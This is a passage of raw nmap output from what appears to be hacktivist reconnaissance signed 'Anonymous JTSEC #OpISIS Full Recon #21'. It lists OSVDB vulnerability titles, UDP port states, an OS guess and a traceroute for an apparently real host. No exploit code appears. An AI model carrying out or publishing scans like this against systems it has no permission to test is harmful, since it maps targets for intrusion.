24330| [31200] SolidState DeleteAccountPage.class.php base_path Parameter Remote File Inclusion
24331| [31193] SolidState BillingPaymentPage.class.php base_path Parameter Remote File Inclusion
24332| [31187] SolidState AddPaymentPage.class.php base_path Parameter Remote File Inclusion
24333| [31119] SolidState NewAccountPage.class.php base_path Parameter Remote File Inclusion
24334| [31104] SolidState EditAccountPage.class.php base_path Parameter Remote File Inclusion
24335| [31103] SolidState EditPaymentPage.class.php base_path Parameter Remote File Inclusion
24336| [30763] ClickGallery gallery.asp currentpage Parameter SQL Injection
24337| [29490] Travelsized CMS frontpage.php setup_folder Parameter Remote File Inclusion
24338| [29098] TSEP printpagedetails.php tsep_config[absPath] Parameter Remote File Inclusion
24339| [28355] Joomla! Frontpage Content Submission Unspecified Injection
24340| [28260] Microsoft IIS FrontPage Server Extensions (FPSE) shtml.exe Path Disclosure
24341| [28093] contentpublisher for Mambo contentpublisher.php mosConfig_absolute_path Parameter Remote File Inclusion
24342| [27856] phNNTP article-raw.php file_newsportal Parameter Remote File Inclusion
24343| [27369] Wireshark NTP Dissector Format String Flaw
24344| [25761] Microsoft Windows NTDLL.DLL RtlDosPathNameToNtPathName_U API Path Conversion Weakness
24345| [25623] Mobotix IP Network Camera eventplayer get_image_info_abspath Parameter XSS
24346| [24674] Mozilla Multiple Products XPCWrappedNativeScope::SystemIsBeingShutDown compareDocumentPosition Handling Memory Corruption
24347| [24518] Microsoft FrontPage Server Extensions fpadmdll.dll Multiple Parameter XSS
24348| [24237] @1 Event Publisher eventpublisher.txt Direct Request Private Comment Disclosure
24349| [24236] @1 Event Publisher eventpublisher_usersubmit.htm Multiple Parameter XSS
24350| [24235] @1 Event Publisher eventpublisher_admin.htm Multiple Parameter XSS
24351| [22822] Linux Kernel mq_open System Call mntput Function Local DoS
24352| [21038] FUSE fusermount Crafted Mountpoint mtab Corruption DoS
24353| [20143] lmtp2nntp l2_spec() Function Format String
24354| [20142] lmtp2nntp lib_cfg Function Unspecified Issue
24355| [20019] Lynx NNTP HTrjis() Function Remote Overflow
24356| [19428] IBM Lotus Domino CitiPayPro.nsf SubPaymentProcessingFS Src Parameter XSS
24357| [19419] Turquoise SuperStat Date Parser Crafted NNTP Server Response Overflow
24358| [19055] NTP ntpd -u Group Permission Weakness
24359| [17306] Microsoft Outlook Express NNTP LIST Command Remote Overflow
24360| [15975] NTP ntpd Date/Time Request Remote Overflow
24361| [15870] MetaCart product.asp intProdID Parameter SQL Injection
24362| [15596] Oracle Collaboration Suite Email Server Unspecified NNTP DoS
24363| [14827] YaBB2 YaBB.pl usersrecentposts Action username Parameter XSS
24364| [14456] Slurp NNTP Client log_doit Function Format String
24365| [14410] mod_frontpage for Apache HTTP Server fpexec Remote Overflow
24366| [13353] newsfetch NNTP Response Handling Overflow DoS
24367| [12637] Mozilla nsNNTPProtocol.cpp NNTP news:// URI Handling Overflow DoS
24368| [10962] cPanel Frontpage _private Symlink Arbitrary File Permission Modification
24369| [10961] cPanel Frontpage .htaccess Hardlink Arbitrary File Owernship Modification
24370| [10895] Microsoft FrontPage asycpict.dll JPEG Processing DoS
24371| [10697] Microsoft Windows/Exchange NNTP Component Remote Overflow
24372| [10246] Microsoft Exchange Server Malformed NNTP AUTHINFO DoS
24373| [9040] IceWarp WebMail attachment.html attachmentpage_text_error Parameter XSS
24374| [4345] Mnews NNTP Response Remote Overflow
24375| [3968] Microsoft FrontPage Personal Web Server Arbitrary File Access
24376| [3501] Microsoft FrontPage form_results Information Disclosure
24377| [3386] Microsoft FrontPage Server Extensions htimage.exe File Existence Enumeration
24378| [3385] Microsoft FrontPage Server Extensions htimage.exe Remote Path Disclosure
24379| [3384] Microsoft FrontPage htimage.exe Overflow
24380| [3382] Microsoft FrontPage Server Extensions imagemap.exe Remote Path Disclosure
24381| [3381] Microsoft FrontPage imagemap.exe Overflow
24382| [3300] Microsoft FrontPage shtml MS-DOS Device Name DoS
24383| [2952] Microsoft FrontPage Server Extensions (fp30reg.dll) Debug Function Chunked Encoded Request Remote Overflow
24384| [2800] Microsoft FrontPage Server Extensions SmartHTML DoS
24385| [2306] Microsoft FrontPage Server Extensions SmartHTML Interpreter shtml.dll DoS
24386| [1928] Microsoft Windows NNTP Malformed Post DoS
24387| [1879] scotty ntping Hostname Handling Local Overflow
24388| [1304] ATRIUM Cassandra NNTP Server Login Name Remote Overflow
24389| [1135] Microsoft Windows NT Print Spooler Service (spoolss.exe) AddPrintProvider() Function Alternate Print Provider Arbitrary Command Execution
24390| [1032] Microsoft FrontPage PWS GET Request Handling Remote DoS
24391| [694] PHP Rocket for FrontPage phprocketaddin page Parameter Traversal Arbitrary File Access
24392| [482] Microsoft IIS FrontPage Server Extensions (FPSE) Malformed Form DoS
24393| [396] Microsoft FrontPage shtml.exe MS-DOS Device Name Request DoS
24394| [307] Microsoft FrontPage 2000 Server Extensions shtml.exe Path Disclosure
24395| [282] Microsoft FrontPage dvwssr.dll Backdoor and Overflow
24396| [68] Microsoft FrontPage Extensions .pwd File Permissions
24397| [67] Microsoft FrontPage Extension shtml.dll Anonymous Account Information Disclosure
24398|_
24399137/udp filtered netbios-ns
24400138/udp filtered netbios-dgm
24401139/udp closed netbios-ssn
24402161/udp closed snmp
24403162/udp closed snmptrap
24404389/udp closed ldap
24405500/udp closed isakmp
24406520/udp closed route
244072049/udp closed nfs
24408Too many fingerprints match this host to give specific OS details
24409Network Distance: 9 hops
24410Service Info: OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:7
24411
24412TRACEROUTE (using port 138/udp)
24413HOP RTT ADDRESS
244141 ... 2
244153 256.83 ms 10.243.204.1
244164 83.63 ms 10.243.204.1
244175 83.63 ms 10.243.204.1
244186 83.62 ms 10.243.204.1
244197 83.58 ms 10.243.204.1
244208 60.79 ms 10.243.204.1
244219 23.20 ms 10.243.204.1
2442210 52.41 ms 10.243.204.1
2442311 ... 18
2442419 57.07 ms 10.243.204.1
2442520 59.57 ms 10.243.204.1
2442621 31.68 ms 10.243.204.1
2442722 ... 27
2442828 53.20 ms 10.243.204.1
2442929 ...
2443030 40.58 ms 10.243.204.1
24431
24432NSE: Script Post-scanning.
24433Initiating NSE at 21:27
24434Completed NSE at 21:27, 0.00s elapsed
24435Initiating NSE at 21:27
24436Completed NSE at 21:27, 0.00s elapsed
24437Read data files from: /usr/bin/../share/nmap
24438OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
24439Nmap done: 1 IP address (1 host up) scanned in 25.76 seconds
24440 Raw packets sent: 121 (6.001KB) | Rcvd: 1064 (70.761KB)
24441#######################################################################################################################################
24442 Anonymous JTSEC #OpISIS Full Recon #21